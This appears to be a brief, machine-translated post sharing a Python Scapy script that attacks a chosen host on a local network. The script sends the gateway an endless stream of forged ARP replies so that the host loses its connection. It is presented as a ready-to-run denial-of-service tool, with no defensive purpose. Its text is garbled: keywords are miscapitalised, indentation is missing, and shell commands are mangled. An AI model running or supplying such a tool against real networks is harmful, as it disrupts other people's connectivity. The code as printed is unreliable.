Note: Use this script to install the Scapy package
It's best to use it under the Linux platform because the Scapy package installs on Windows always has a variety of problems
Copy Code code as follows:
#coding: Utf-8
#example: sudo python arp_dos.py 192.168.1.103
From Scapy.all import Arp,send
Import Os,re,sys
Def get_gateway_ip ():
T=os.popen (' Route-n ')
For I in T:
If I.startswith (' 0.0.0.0 '):
R=re.split ("\s+", i)
return r[1]
def get_gateway_hw (IP):
T=os.popen (' arp-e%s '% IP)
For I in T:
If I.startswith (IP):
R=re.split ("\s+", i)
return r[2]
def hack (Hackip):
IP=GET_GATEWAY_IP ()
HW=GET_GATEWAY_HW (IP)
Arp=arp (Op=2,pdst=ip,hwdst=hw,psrc=hackip)
#os. Popen (' ifconfig eth0%s '% hackip)
While 1:
Send (ARP)
def help ():
Print ("Useage:sudo python arp_dos.py 192.168.1.100")
def main ():
If Len (SYS.ARGV)!= 2:
Help ()
Else
Hack (sys.argv[1])
If __name__== "__main__":
Main ()